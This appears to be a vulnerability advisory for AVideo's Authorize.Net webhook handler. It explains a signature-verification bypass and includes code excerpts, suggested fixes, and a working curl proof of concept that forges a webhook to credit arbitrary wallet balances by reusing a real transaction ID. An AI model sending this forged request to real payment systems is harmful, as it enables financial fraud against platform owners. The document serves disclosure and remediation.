Summary

The Authorize.Net webhook handler at plugin/AuthorizeNet/webhook.php contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.

Details

Three flaws combine into an exploit chain:

1. Signature Bypass via OR Logic (webhook.php:33)

if (!$parsed['signatureValid'] && (empty($txnInfo) || !empty($txnInfo['error']))) {
    http_response_code(401);
    echo 'invalid signature';
    exit;
}

The webhook is rejected only when both conditions are true: the signature is invalid AND the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), getTransactionDetails() succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.

2. Payload Values Override API-Fetched Values (AuthorizeNet.php:169-171, webhook.php:44-48)

In analyzeTransactionFromWebhook(), users_id and amount are extracted from the attacker-controlled webhook payload first:

$users_id = isset($metadata['users_id']) ? (int)$metadata['users_id'] : null;
$amount   = isset($payload['amount']) ? (float)$payload['amount'] : ...;

The fallback logic in webhook.php only applies when the analysis values are empty/falsy:

if (!$analysis['users_id'] && !empty($txnInfo['users_id'])) {
    $analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (!$analysis['amount'] && isset($txnInfo['amount'])) {
    $analysis['amount'] = (float)$txnInfo['amount'];
}

Since the forged payload already provides both values, the authoritative API-fetched values are never used.

3. Missing Approval Check (webhook.php:61-75)

The code checks only that users_id and amount are non-empty before calling processSinglePayment(). The isApproved field is computed in analyzeTransactionFromWebhook() (line 222-228) but never verified before crediting the wallet at line 68-75.

PoC

Prerequisites: Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., 60123456789).

1. Immediately after the purchase completes (to race the legitimate webhook), send a forged webhook:

curl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \
  -H 'Content-Type: application/json' \
  -d '{
    "eventType": "net.authorize.payment.authcapture.created",
    "payload": {
      "id": "60123456789",
      "amount": 99999.99,
      "responseCode": 1,
      "metadata": {
        "users_id": 2
      }
    }
  }'

2. The signature check fails (no X-ANET-Signature header), but getTransactionDetails('60123456789') succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues.

3. analyzeTransactionFromWebhook() uses the forged payload's amount: 99999.99 and metadata.users_id: 2.

4. processSinglePayment() credits $99,999.99 to user ID 2's wallet via addBalance().

5. The dedup key is sha1('net.authorize.payment.authcapture.created' . '60123456789'), so the legitimate webhook arriving later is silently discarded as a duplicate.

6. The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.

Impact

• Wallet balance inflation: Attacker credits arbitrary amounts to any user's wallet without corresponding payment, bypassing the payment gateway's actual charge amount.
• Premium content access: Inflated wallet balance allows purchasing all paid/premium video content without real payment.
• Subscription fraud: By including plans_id in forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment.
• Financial loss: Platform owner loses revenue from fraudulently accessed premium content and services.

Recommended Fix

1. Reject webhooks with invalid signatures unconditionally — the transaction lookup should only be used for data enrichment after signature validation passes:

// webhook.php line 33 — FIX: reject on invalid signature alone
if (!$parsed['signatureValid']) {
    _error_log('[Authorize.Net webhook] Bad signature');
    http_response_code(401);
    echo 'invalid signature';
    exit;
}

2. Use API-fetched values as authoritative — in webhook.php lines 44-55, invert the precedence so $txnInfo values always override payload values:

// Always prefer API-fetched values over payload values
if (!empty($txnInfo['users_id'])) {
    $analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (isset($txnInfo['amount'])) {
    $analysis['amount'] = (float)$txnInfo['amount'];
}

3. Check isApproved before processing — add a gate before processSinglePayment():

if (!$analysis['isApproved']) {
    _error_log('[Authorize.Net webhook] Transaction not approved');
    http_response_code(400);
    echo 'transaction not approved';
    exit;
}